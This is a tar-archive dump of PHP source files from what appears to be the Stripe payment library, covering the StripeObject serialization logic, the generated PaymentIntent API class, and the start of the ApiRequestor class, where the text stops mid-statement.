' . "available on this object are: {$attrs}"; Stripe::getLogger()->error($message); return $nullval; } $class = static::class; Stripe::getLogger()->error("Stripe Notice: Undefined property of {$class} instance: {$k}"); return $nullval; } /** * Magic method for var_dump output. Only works with PHP >= 5.6. * * @return array */ public function __debugInfo() { return $this->_values; } // ArrayAccess methods /** * @return void */ #[\ReturnTypeWillChange] public function offsetSet($k, $v) { $this->{$k} = $v; } /** * @return bool */ #[\ReturnTypeWillChange] public function offsetExists($k) { return \array_key_exists($k, $this->_values); } /** * @return void */ #[\ReturnTypeWillChange] public function offsetUnset($k) { unset($this->{$k}); } /** * @return mixed */ #[\ReturnTypeWillChange] public function offsetGet($k) { return \array_key_exists($k, $this->_values) ? $this->_values[$k] : null; } /** * @return int */ #[\ReturnTypeWillChange] public function count() { return \count($this->_values); } public function keys() { return \array_keys($this->_values); } public function values() { return \array_values($this->_values); } /** * This unfortunately needs to be public to be used in Util\Util. * * @param array $values * @param null|array|string|Util\RequestOptions $opts * * @return static the object constructed from the given values */ public static function constructFrom($values, $opts = null) { $obj = new static(isset($values['id']) ? $values['id'] : null); $obj->refreshFrom($values, $opts); return $obj; } /** * Refreshes this object using the provided values. * * @param array $values * @param null|array|string|Util\RequestOptions $opts * @param bool $partial defaults to false */ public function refreshFrom($values, $opts, $partial = false) { $this->_opts = Util\RequestOptions::parse($opts); $this->_originalValues = self::deepCopy($values); if ($values instanceof StripeObject) { $values = $values->toArray(); } // Wipe old state before setting new. This is useful for e.g. updating a // customer, where there is no persistent card parameter. Mark those values // which don't persist as transient if ($partial) { $removed = new Util\Set(); } else { $removed = new Util\Set(\array_diff(\array_keys($this->_values), \array_keys($values))); } foreach ($removed->toArray() as $k) { unset($this->{$k}); } $this->updateAttributes($values, $opts, false); foreach ($values as $k => $v) { $this->_transientValues->discard($k); $this->_unsavedValues->discard($k); } } /** * Mass assigns attributes on the model. * * @param array $values * @param null|array|string|Util\RequestOptions $opts * @param bool $dirty defaults to true */ public function updateAttributes($values, $opts = null, $dirty = true) { foreach ($values as $k => $v) { // Special-case metadata to always be cast as a StripeObject // This is necessary in case metadata is empty, as PHP arrays do // not differentiate between lists and hashes, and we consider // empty arrays to be lists. if (('metadata' === $k) && (\is_array($v))) { $this->_values[$k] = StripeObject::constructFrom($v, $opts); } else { $this->_values[$k] = Util\Util::convertToStripeObject($v, $opts); } if ($dirty) { $this->dirtyValue($this->_values[$k]); } $this->_unsavedValues->add($k); } } /** * @param bool $force defaults to false * * @return array a recursive mapping of attributes to values for this object, * including the proper value for deleted attributes */ public function serializeParameters($force = false) { $updateParams = []; foreach ($this->_values as $k => $v) { // There are a few reasons that we may want to add in a parameter for // update: // // 1. The `$force` option has been set. // 2. We know that it was modified. // 3. Its value is a StripeObject. A StripeObject may contain modified // values within in that its parent StripeObject doesn't know about. // $original = \array_key_exists($k, $this->_originalValues) ? $this->_originalValues[$k] : null; $unsaved = $this->_unsavedValues->includes($k); if ($force || $unsaved || $v instanceof StripeObject) { $updateParams[$k] = $this->serializeParamsValue( $this->_values[$k], $original, $unsaved, $force, $k ); } } // a `null` that makes it out of `serializeParamsValue` signals an empty // value that we shouldn't appear in the serialized form of the object return \array_filter( $updateParams, function ($v) { return null !== $v; } ); } public function serializeParamsValue($value, $original, $unsaved, $force, $key = null) { // The logic here is that essentially any object embedded in another // object that had a `type` is actually an API resource of a different // type that's been included in the response. These other resources must // be updated from their proper endpoints, and therefore they are not // included when serializing even if they've been modified. // // There are _some_ known exceptions though. // // For example, if the value is unsaved (meaning the user has set it), and // it looks like the API resource is persisted with an ID, then we include // the object so that parameters are serialized with a reference to its // ID. // // Another example is that on save API calls it's sometimes desirable to // update a customer's default source by setting a new card (or other) // object with `->source=` and then saving the customer. The // `saveWithParent` flag to override the default behavior allows us to // handle these exceptions. // // We throw an error if a property was set explicitly but we can't do // anything with it because the integration is probably not working as the // user intended it to. if (null === $value) { return ''; } if (($value instanceof ApiResource) && (!$value->saveWithParent)) { if (!$unsaved) { return null; } if (isset($value->id)) { return $value; } throw new Exception\InvalidArgumentException( "Cannot save property `{$key}` containing an API resource of type " . \get_class($value) . ". It doesn't appear to be persisted and is " . 'not marked as `saveWithParent`.' ); } if (\is_array($value)) { if (Util\Util::isList($value)) { // Sequential array, i.e. a list $update = []; foreach ($value as $v) { $update[] = $this->serializeParamsValue($v, null, true, $force); } // This prevents an array that's unchanged from being resent. if ($update !== $this->serializeParamsValue($original, null, true, $force, $key)) { return $update; } } else { // Associative array, i.e. a map return Util\Util::convertToStripeObject($value, $this->_opts)->serializeParameters(); } } elseif ($value instanceof StripeObject) { $update = $value->serializeParameters($force); if ($original && $unsaved && $key && static::getAdditiveParams()->includes($key)) { $update = \array_merge(self::emptyValues($original), $update); } return $update; } else { return $value; } } /** * @return mixed */ #[\ReturnTypeWillChange] public function jsonSerialize() { return $this->toArray(); } /** * Returns an associative array with the key and values composing the * Stripe object. * * @return array the associative array */ public function toArray() { $maybeToArray = function ($value) { if (null === $value) { return null; } return \is_object($value) && \method_exists($value, 'toArray') ? $value->toArray() : $value; }; return \array_reduce(\array_keys($this->_values), function ($acc, $k) use ($maybeToArray) { if ('_' === \substr((string) $k, 0, 1)) { return $acc; } $v = $this->_values[$k]; if (Util\Util::isList($v)) { $acc[$k] = \array_map($maybeToArray, $v); } else { $acc[$k] = $maybeToArray($v); } return $acc; }, []); } /** * Returns a pretty JSON representation of the Stripe object. * * @return string the JSON representation of the Stripe object */ public function toJSON() { return \json_encode($this->toArray(), \JSON_PRETTY_PRINT); } public function __toString() { $class = static::class; return $class . ' JSON: ' . $this->toJSON(); } /** * Sets all keys within the StripeObject as unsaved so that they will be * included with an update when `serializeParameters` is called. This * method is also recursive, so any StripeObjects contained as values or * which are values in a tenant array are also marked as dirty. */ public function dirty() { $this->_unsavedValues = new Util\Set(\array_keys($this->_values)); foreach ($this->_values as $k => $v) { $this->dirtyValue($v); } } protected function dirtyValue($value) { if (\is_array($value)) { foreach ($value as $v) { $this->dirtyValue($v); } } elseif ($value instanceof StripeObject) { $value->dirty(); } } /** * Produces a deep copy of the given object including support for arrays * and StripeObjects. * * @param mixed $obj */ protected static function deepCopy($obj) { if (\is_array($obj)) { $copy = []; foreach ($obj as $k => $v) { $copy[$k] = self::deepCopy($v); } return $copy; } if ($obj instanceof StripeObject) { return $obj::constructFrom( self::deepCopy($obj->_values), clone $obj->_opts ); } return $obj; } /** * Returns a hash of empty values for all the values that are in the given * StripeObject. * * @param mixed $obj */ public static function emptyValues($obj) { if (\is_array($obj)) { $values = $obj; } elseif ($obj instanceof StripeObject) { $values = $obj->_values; } else { throw new Exception\InvalidArgumentException( 'empty_values got unexpected object type: ' . \get_class($obj) ); } return \array_fill_keys(\array_keys($values), ''); } /** * @return null|ApiResponse The last response from the Stripe API */ public function getLastResponse() { return $this->_lastResponse; } /** * Sets the last response from the Stripe API. * * @param ApiResponse $resp */ public function setLastResponse($resp) { $this->_lastResponse = $resp; } /** * Indicates whether or not the resource has been deleted on the server. * Note that some, but not all, resources can indicate whether they have * been deleted. * * @return bool whether the resource is deleted */ public function isDeleted() { return isset($this->_values['deleted']) ? $this->_values['deleted'] : false; } } ������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/PaymentIntent.php����������������������������������������������������������������0000644�����������������00000045276�14720677707�0013626 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A PaymentIntent guides you through the process of collecting a payment from your customer. * We recommend that you create exactly one PaymentIntent for each order or * customer session in your system. You can reference the PaymentIntent later to * see the history of payment attempts for a particular session. * * A PaymentIntent transitions through * <a href="https://stripe.com/docs/payments/intents#intent-statuses">multiple statuses</a> * throughout its lifetime as it interfaces with Stripe.js to perform * authentication flows and ultimately creates at most one successful charge. * * Related guide: <a href="https://stripe.com/docs/payments/payment-intents">Payment Intents API</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a> (e.g., 100 cents to charge $1.00 or 100 to charge ¥100, a zero-decimal currency). The minimum amount is $0.50 US or <a href="https://stripe.com/docs/currencies#minimum-and-maximum-charge-amounts">equivalent in charge currency</a>. The amount value supports up to eight digits (e.g., a value of 99999999 for a USD charge of $999,999.99). * @property int $amount_capturable Amount that can be captured from this PaymentIntent. * @property null|\Stripe\StripeObject $amount_details * @property int $amount_received Amount that this PaymentIntent collects. * @property null|string|\Stripe\Application $application ID of the Connect application that created the PaymentIntent. * @property null|int $application_fee_amount The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total payment amount. For more information, see the PaymentIntents <a href="https://stripe.com/docs/payments/connected-accounts">use case for connected accounts</a>. * @property null|\Stripe\StripeObject $automatic_payment_methods Settings to configure compatible payment methods from the <a href="https://dashboard.stripe.com/settings/payment_methods">Stripe Dashboard</a> * @property null|int $canceled_at Populated when <code>status</code> is <code>canceled</code>, this is the time at which the PaymentIntent was canceled. Measured in seconds since the Unix epoch. * @property null|string $cancellation_reason Reason for cancellation of this PaymentIntent, either user-provided (<code>duplicate</code>, <code>fraudulent</code>, <code>requested_by_customer</code>, or <code>abandoned</code>) or generated by Stripe internally (<code>failed_invoice</code>, <code>void_invoice</code>, or <code>automatic</code>). * @property string $capture_method Controls when the funds will be captured from the customer's account. * @property null|string $client_secret <p>The client secret of this PaymentIntent. Used for client-side retrieval using a publishable key.</p><p>The client secret can be used to complete a payment from your frontend. It should not be stored, logged, or exposed to anyone other than the customer. Make sure that you have TLS enabled on any page that includes the client secret.</p><p>Refer to our docs to <a href="https://stripe.com/docs/payments/accept-a-payment?ui=elements">accept a payment</a> and learn about how <code>client_secret</code> should be handled.</p> * @property string $confirmation_method Describes whether we can confirm this PaymentIntent automatically, or if it requires customer action to confirm the payment. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string|\Stripe\Customer $customer <p>ID of the Customer this PaymentIntent belongs to, if one exists.</p><p>Payment methods attached to other Customers cannot be used with this PaymentIntent.</p><p>If present in combination with <a href="https://stripe.com/docs/api#payment_intent_object-setup_future_usage">setup_future_usage</a>, this PaymentIntent's payment method will be attached to the Customer after the PaymentIntent has been confirmed and any required actions from the user are complete.</p> * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|string|\Stripe\Invoice $invoice ID of the invoice that created this PaymentIntent, if it exists. * @property null|\Stripe\StripeObject $last_payment_error The payment error encountered in the previous PaymentIntent confirmation. It will be cleared if the PaymentIntent is later updated for any reason. * @property null|string|\Stripe\Charge $latest_charge ID of the latest <a href="https://stripe.com/docs/api/charges">Charge object</a> created by this PaymentIntent. This property is <code>null</code> until PaymentIntent confirmation is attempted. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Learn more about <a href="https://stripe.com/docs/payments/payment-intents/creating-payment-intents#storing-information-in-metadata">storing information in metadata</a>. * @property null|\Stripe\StripeObject $next_action If present, this property tells you what actions you need to take in order for your customer to fulfill a payment using the provided source. * @property null|string|\Stripe\Account $on_behalf_of The account (if any) for which the funds of the PaymentIntent are intended. See the PaymentIntents <a href="https://stripe.com/docs/payments/connected-accounts">use case for connected accounts</a> for details. * @property null|string|\Stripe\PaymentMethod $payment_method ID of the payment method used in this PaymentIntent. * @property null|\Stripe\StripeObject $payment_method_configuration_details Information about the payment method configuration used for this PaymentIntent. * @property null|\Stripe\StripeObject $payment_method_options Payment-method-specific configuration for this PaymentIntent. * @property string[] $payment_method_types The list of payment method types (e.g. card) that this PaymentIntent is allowed to use. * @property null|\Stripe\StripeObject $processing If present, this property tells you about the processing state of the payment. * @property null|string $receipt_email Email address that the receipt for the resulting payment will be sent to. If <code>receipt_email</code> is specified for a payment in live mode, a receipt will be sent regardless of your <a href="https://dashboard.stripe.com/account/emails">email settings</a>. * @property null|string|\Stripe\Review $review ID of the review associated with this PaymentIntent, if any. * @property null|string $setup_future_usage <p>Indicates that you intend to make future payments with this PaymentIntent's payment method.</p><p>Providing this parameter will <a href="https://stripe.com/docs/payments/save-during-payment">attach the payment method</a> to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user are complete. If no Customer was provided, the payment method can still be <a href="https://stripe.com/docs/api/payment_methods/attach">attached</a> to a Customer after the transaction completes.</p><p>When processing card payments, Stripe also uses <code>setup_future_usage</code> to dynamically optimize your payment flow and comply with regional legislation and network rules, such as <a href="https://stripe.com/docs/strong-customer-authentication">SCA</a>.</p> * @property null|\Stripe\StripeObject $shipping Shipping information for this PaymentIntent. * @property null|string|\Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source $source This is a legacy field that will be removed in the future. It is the ID of the Source object that is associated with this PaymentIntent, if one was supplied. * @property null|string $statement_descriptor For card charges, use <a href="https://stripe.com/docs/payments/account/statement-descriptors#dynamic">statement_descriptor_suffix</a>. Otherwise, you can use this value as the complete description of a charge on your customers' statements. It must contain at least one letter and be 1–22 characters long. * @property null|string $statement_descriptor_suffix Provides information about a card payment that customers see on their statements. Concatenated with the prefix (shortened descriptor) or statement descriptor that’s set on the account to form the complete statement descriptor. Maximum 22 characters for the concatenated descriptor. * @property string $status Status of this PaymentIntent, one of <code>requires_payment_method</code>, <code>requires_confirmation</code>, <code>requires_action</code>, <code>processing</code>, <code>requires_capture</code>, <code>canceled</code>, or <code>succeeded</code>. Read more about each PaymentIntent <a href="https://stripe.com/docs/payments/intents#intent-statuses">status</a>. * @property null|\Stripe\StripeObject $transfer_data The data that automatically creates a Transfer after the payment finalizes. Learn more about the <a href="https://stripe.com/docs/payments/connected-accounts">use case for connected accounts</a>. * @property null|string $transfer_group A string that identifies the resulting payment as part of a group. Learn more about the <a href="https://stripe.com/docs/connect/separate-charges-and-transfers">use case for connected accounts</a>. */ class PaymentIntent extends ApiResource { const OBJECT_NAME = 'payment_intent'; use ApiOperations\Update; const CANCELLATION_REASON_ABANDONED = 'abandoned'; const CANCELLATION_REASON_AUTOMATIC = 'automatic'; const CANCELLATION_REASON_DUPLICATE = 'duplicate'; const CANCELLATION_REASON_FAILED_INVOICE = 'failed_invoice'; const CANCELLATION_REASON_FRAUDULENT = 'fraudulent'; const CANCELLATION_REASON_REQUESTED_BY_CUSTOMER = 'requested_by_customer'; const CANCELLATION_REASON_VOID_INVOICE = 'void_invoice'; const CAPTURE_METHOD_AUTOMATIC = 'automatic'; const CAPTURE_METHOD_AUTOMATIC_ASYNC = 'automatic_async'; const CAPTURE_METHOD_MANUAL = 'manual'; const CONFIRMATION_METHOD_AUTOMATIC = 'automatic'; const CONFIRMATION_METHOD_MANUAL = 'manual'; const SETUP_FUTURE_USAGE_OFF_SESSION = 'off_session'; const SETUP_FUTURE_USAGE_ON_SESSION = 'on_session'; const STATUS_CANCELED = 'canceled'; const STATUS_PROCESSING = 'processing'; const STATUS_REQUIRES_ACTION = 'requires_action'; const STATUS_REQUIRES_CAPTURE = 'requires_capture'; const STATUS_REQUIRES_CONFIRMATION = 'requires_confirmation'; const STATUS_REQUIRES_PAYMENT_METHOD = 'requires_payment_method'; const STATUS_SUCCEEDED = 'succeeded'; /** * Creates a PaymentIntent object. * * After the PaymentIntent is created, attach a payment method and <a * href="/docs/api/payment_intents/confirm">confirm</a> to continue the payment. * Learn more about <a href="/docs/payments/payment-intents">the available payment * flows with the Payment Intents API</a>. * * When you use <code>confirm=true</code> during creation, it’s equivalent to * creating and confirming the PaymentIntent in the same call. You can use any * parameters available in the <a href="/docs/api/payment_intents/confirm">confirm * API</a> when you supply <code>confirm=true</code>. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of PaymentIntents. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentIntent> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of a PaymentIntent that has previously been created. * * You can retrieve a PaymentIntent client-side using a publishable key when the * <code>client_secret</code> is in the query string. * * If you retrieve a PaymentIntent with a publishable key, it only returns a subset * of properties. Refer to the <a href="#payment_intent_object">payment intent</a> * object reference for more details. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates properties on a PaymentIntent object without confirming. * * Depending on which properties you update, you might need to confirm the * PaymentIntent again. For example, updating the <code>payment_method</code> * always requires you to confirm the PaymentIntent again. If you prefer to update * and confirm at the same time, we recommend updating properties through the <a * href="/docs/api/payment_intents/confirm">confirm API</a> instead. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent the applied payment intent */ public function applyCustomerBalance($params = null, $opts = null) { $url = $this->instanceUrl() . '/apply_customer_balance'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent the canceled payment intent */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent the captured payment intent */ public function capture($params = null, $opts = null) { $url = $this->instanceUrl() . '/capture'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent the confirmed payment intent */ public function confirm($params = null, $opts = null) { $url = $this->instanceUrl() . '/confirm'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent the incremented payment intent */ public function incrementAuthorization($params = null, $opts = null) { $url = $this->instanceUrl() . '/increment_authorization'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentIntent the verified payment intent */ public function verifyMicrodeposits($params = null, $opts = null) { $url = $this->instanceUrl() . '/verify_microdeposits'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\PaymentIntent> the payment intent search results */ public static function search($params = null, $opts = null) { $url = '/v1/payment_intents/search'; return static::_requestPage($url, \Stripe\SearchResult::class, $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApiRequestor.php�����������������������������������������������������������������0000644�����������������00000047103�14720677707�0013441 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Class ApiRequestor. */ class ApiRequestor { /** * @var null|string */ private $_apiKey; /** * @var string */ private $_apiBase; /** * @var null|array */ private $_appInfo; /** * @var HttpClient\ClientInterface */ private static $_httpClient; /** * @var HttpClient\StreamingClientInterface */ private static $_streamingHttpClient; /** * @var RequestTelemetry */ private static $requestTelemetry; private static $OPTIONS_KEYS = ['api_key', 'idempotency_key', 'stripe_account', 'stripe_version', 'api_base']; /** * ApiRequestor constructor. * * @param null|string $apiKey * @param null|string $apiBase * @param null|array $appInfo */ public function __construct($apiKey = null, $apiBase = null, $appInfo = null) { $this->_apiKey = $apiKey; if (!$apiBase) { $apiBase = Stripe::$apiBase; } $this->_apiBase = $apiBase; $this->_appInfo = $appInfo; } /** * Creates a telemetry json blob for use in 'X-Stripe-Client-Telemetry' headers. * * @static * * @param RequestTelemetry $requestTelemetry * * @return string */ private static function _telemetryJson($requestTelemetry) { $payload = [ 'last_request_metrics' => [ 'request_id' => $requestTelemetry->requestId, 'request_duration_ms' => $requestTelemetry->requestDuration, ], ]; if (\count($requestTelemetry->usage) > 0) { $payload['last_request_metrics']['usage'] = $requestTelemetry->usage; } $result = \json_encode($payload); if (false !== $result) { return $result; } Stripe::getLogger()->error('Serializing telemetry payload failed!'); return '{}'; } /** * @static * * @param ApiResource|array|bool|mixed $d * * @return ApiResource|array|mixed|string */ private static function _encodeObjects($d) { if ($d instanceof ApiResource) { return Util\Util::utf8($d->id); } if (true === $d) { return 'true'; } if (false === $d) { return 'false'; } if (\is_array($d)) { $res = []; foreach ($d as $k => $v) { $res[$k] = self::_encodeObjects($v); } return $res; } return Util\Util::utf8($d); } /** * @param 'delete'|'get'|'post' $method * @param string $url * @param null|array $params * @param null|array $headers * @param string[] $usage * * @throws Exception\ApiErrorException * * @return array tuple containing (ApiReponse, API key) */ public function request($method, $url, $params = null, $headers = null, $usage = []) { $params = $params ?: []; $headers = $headers ?: []; list($rbody, $rcode, $rheaders, $myApiKey) = $this->_requestRaw($method, $url, $params, $headers, $usage); $json = $this->_interpretResponse($rbody, $rcode, $rheaders); $resp = new ApiResponse($rbody, $rcode, $rheaders, $json); return [$resp, $myApiKey]; } /** * @param 'delete'|'get'|'post' $method * @param string $url * @param callable $readBodyChunkCallable * @param null|array $params * @param null|array $headers * @param string[] $usage * * @throws Exception\ApiErrorException */ public function requestStream($method, $url, $readBodyChunkCallable, $params = null, $headers = null, $usage = []) { $params = $params ?: []; $headers = $headers ?: []; list($rbody, $rcode, $rheaders, $myApiKey) = $this->_requestRawStreaming($method, $url, $params, $headers, $usage, $readBodyChunkCallable); if ($rcode >= 300) { $this->_interpretResponse($rbody, $rcode, $rheaders); } } /** * @param string $rbody a JSON string * @param int $rcode * @param array $rheaders * @param array $resp * * @throws Exception\UnexpectedValueException * @throws Exception\ApiErrorException */ public function handleErrorResponse($rbody, $rcode, $rheaders, $resp) { if (!\is_array($resp) || !isset($resp['error'])) { $msg = "Invalid response object from API: {$rbody} " . "(HTTP response code was {$rcode})"; throw new Exception\UnexpectedValueException($msg); } $errorData = $resp['error']; $error = null; if (\is_string($errorData)) { $error = self::_specificOAuthError($rbody, $rcode, $rheaders, $resp, $errorData); } if (!$error) { $error = self::_specificAPIError($rbody, $rcode, $rheaders, $resp, $errorData); } throw $error; } /** * @static * * @param string $rbody * @param int $rcode * @param array $rheaders * @param array $resp * @param array $errorData * * @return Exception\ApiErrorException */ private static function _specificAPIError($rbody, $rcode, $rheaders, $resp, $errorData) { $msg = isset($errorData['message']) ? $errorData['message'] : null; $param = isset($errorData['param']) ? $errorData['param'] : null; $code = isset($errorData['code']) ? $errorData['code'] : null; $type = isset($errorData['type']) ? $errorData['type'] : null; $declineCode = isset($errorData['decline_code']) ? $errorData['decline_code'] : null; switch ($rcode) { case 400: // 'rate_limit' code is deprecated, but left here for backwards compatibility // for API versions earlier than 2015-09-08 if ('rate_limit' === $code) { return Exception\RateLimitException::factory($msg, $rcode, $rbody, $resp, $rheaders, $code, $param); } if ('idempotency_error' === $type) { return Exception\IdempotencyException::factory($msg, $rcode, $rbody, $resp, $rheaders, $code); } // no break case 404: return Exception\InvalidRequestException::factory($msg, $rcode, $rbody, $resp, $rheaders, $code, $param); case 401: return Exception\AuthenticationException::factory($msg, $rcode, $rbody, $resp, $rheaders, $code); case 402: return Exception\CardException::factory($msg, $rcode, $rbody, $resp, $rheaders, $code, $declineCode, $param); case 403: return Exception\PermissionException::factory($msg, $rcode, $rbody, $resp, $rheaders, $code); case 429: return Exception\RateLimitException::factory($msg, $rcode, $rbody, $resp, $rheaders, $code, $param); default: return Exception\UnknownApiErrorException::factory($msg, $rcode, $rbody, $resp, $rheaders, $code); } } /** * @static * * @param bool|string $rbody * @param int $rcode * @param array $rheaders * @param array $resp * @param string $errorCode * * @return Exception\OAuth\OAuthErrorException */ private static function _specificOAuthError($rbody, $rcode, $rheaders, $resp, $errorCode) { $description = isset($resp['error_description']) ? $resp['error_description'] : $errorCode; switch ($errorCode) { case 'invalid_client': return Exception\OAuth\InvalidClientException::factory($description, $rcode, $rbody, $resp, $rheaders, $errorCode); case 'invalid_grant': return Exception\OAuth\InvalidGrantException::factory($description, $rcode, $rbody, $resp, $rheaders, $errorCode); case 'invalid_request': return Exception\OAuth\InvalidRequestException::factory($description, $rcode, $rbody, $resp, $rheaders, $errorCode); case 'invalid_scope': return Exception\OAuth\InvalidScopeException::factory($description, $rcode, $rbody, $resp, $rheaders, $errorCode); case 'unsupported_grant_type': return Exception\OAuth\UnsupportedGrantTypeException::factory($description, $rcode, $rbody, $resp, $rheaders, $errorCode); case 'unsupported_response_type': return Exception\OAuth\UnsupportedResponseTypeException::factory($description, $rcode, $rbody, $resp, $rheaders, $errorCode); default: return Exception\OAuth\UnknownOAuthErrorException::factory($description, $rcode, $rbody, $resp, $rheaders, $errorCode); } } /** * @static * * @param null|array $appInfo * * @return null|string */ private static function _formatAppInfo($appInfo) { if (null !== $appInfo) { $string = $appInfo['name']; if (\array_key_exists('version', $appInfo) && null !== $appInfo['version']) { $string .= '/' . $appInfo['version']; } if (\array_key_exists('url', $appInfo) && null !== $appInfo['url']) { $string .= ' (' . $appInfo['url'] . ')'; } return $string; } return null; } /** * @static * * @param string $disableFunctionsOutput - String value of the 'disable_function' setting, as output by \ini_get('disable_functions') * @param string $functionName - Name of the function we are interesting in seeing whether or not it is disabled * * @return bool */ private static function _isDisabled($disableFunctionsOutput, $functionName) { $disabledFunctions = \explode(',', $disableFunctionsOutput); foreach ($disabledFunctions as $disabledFunction) { if (\trim($disabledFunction) === $functionName) { return true; } } return false; } /** * @static * * @param string $apiKey the Stripe API key, to be used in regular API requests * @param null $clientInfo client user agent information * @param null $appInfo information to identify a plugin that integrates Stripe using this library * * @return array */ private static function _defaultHeaders($apiKey, $clientInfo = null, $appInfo = null) { $uaString = 'Stripe/v1 PhpBindings/' . Stripe::VERSION; $langVersion = \PHP_VERSION; $uname_disabled = self::_isDisabled(\ini_get('disable_functions'), 'php_uname'); $uname = $uname_disabled ? '(disabled)' : \php_uname(); // Fallback to global configuration to maintain backwards compatibility. $appInfo = $appInfo ?: Stripe::getAppInfo(); $ua = [ 'bindings_version' => Stripe::VERSION, 'lang' => 'php', 'lang_version' => $langVersion, 'publisher' => 'stripe', 'uname' => $uname, ]; if ($clientInfo) { $ua = \array_merge($clientInfo, $ua); } if (null !== $appInfo) { $uaString .= ' ' . self::_formatAppInfo($appInfo); $ua['application'] = $appInfo; } return [ 'X-Stripe-Client-User-Agent' => \json_encode($ua), 'User-Agent' => $uaString, 'Authorization' => 'Bearer ' . $apiKey, 'Stripe-Version' => Stripe::getApiVersion(), ]; } private function _prepareRequest($method, $url, $params, $headers) { $myApiKey = $this->_apiKey; if (!$myApiKey) { $myApiKey = Stripe::$apiKey; } if (!$myApiKey) { $msg = 'No API key provided. (HINT: set your API key using ' . '"Stripe::setApiKey(<API-KEY>)". You can generate API keys from ' . 'the Stripe web interface. See https://stripe.com/api for ' . 'details, or email support@stripe.com if you have any questions.'; throw new Exception\AuthenticationException($msg); } // Clients can supply arbitrary additional keys to be included in the // X-Stripe-Client-User-Agent header via the optional getUserAgentInfo() // method $clientUAInfo = null; if (\method_exists($this->httpClient(), 'getUserAgentInfo')) { $clientUAInfo = $this->httpClient()->getUserAgentInfo(); } if ($params && \is_array($params)) { $optionKeysInParams = \array_filter( self::$OPTIONS_KEYS, function ($key) use ($params) { return \array_key_exists($key, $params); } ); if (\count($optionKeysInParams) > 0) { $message = \sprintf('Options found in $params: %s. Options should ' . 'be passed in their own array after $params. (HINT: pass an ' . 'empty array to $params if you do not have any.)', \implode(', ', $optionKeysInParams)); \trigger_error($message, \E_USER_WARNING); } } $absUrl = $this->_apiBase . $url; $params = self::_encodeObjects($params); $defaultHeaders = $this->_defaultHeaders($myApiKey, $clientUAInfo, $this->_appInfo); if (Stripe::$accountId) { $defaultHeaders['Stripe-Account'] = Stripe::$accountId; } if (Stripe::$enableTelemetry && null 